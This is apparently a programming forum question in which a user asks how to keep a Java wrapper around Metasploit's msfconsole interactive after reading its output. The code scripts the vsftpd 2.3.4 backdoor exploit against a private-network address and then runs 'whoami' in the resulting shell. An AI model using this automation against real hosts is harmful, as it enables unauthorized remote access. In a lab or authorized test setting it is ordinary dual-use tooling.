I'm trying to start msfconsole(done!), send commands to the input stream(done!), then wait for the execution(ok!), print the output(ok!) and then let the terminal be interactive with the user for launching user defined input such as whoami, ls or whatever. Can't find on stack overflow same questions or correct answers in my case. I hope somebody will help me, thanks in advance! My code:
ProcessBuilder process = new ProcessBuilder();
process.redirectErrorStream(true);
Process prcs = process.command("msfconsole").start();
OutputStream os = prcs.getOutputStream();
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(os));
bw.write("use " + "exploit/unix/ftp/vsftpd_234_backdoor" + "\n");
bw.write("set RHOSTS " + "192.168.1.40" + "\n");
bw.write("exploit\n");
bw.write("whoami\n");
bw.flush();
bw.close();
InputStream is = prcs.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String textOut;
//IT NEVER EXIT THIS WHILE... br.readLine() is never NULL!!!!
while ((textOut = br.readLine()) != null) {
System.out.println(textOut);
//stupid wait to stop reading! it works but it's the problem
//if(textOut.equalsIgnoreCase("root")) break;
}
/*SHOULD BE THE INTERACTIVE INPUT TERMINAL HERE... BUT IT NEVER REACHES THIS PART OF CODE
Scanner sc = new Scanner(System.in);
String input="";
do {
input = sc.nextLine();
bw.write(input+"\n");
bw.flush();
while((textOut = br.readLine()) != null) System.out.println(textOut);
}while(!input.equalsIgnoreCase("exit"));
*/
prcs.waitFor();
//sc.close();bw.close();br.close();is.close();os.close();prcs.destroy();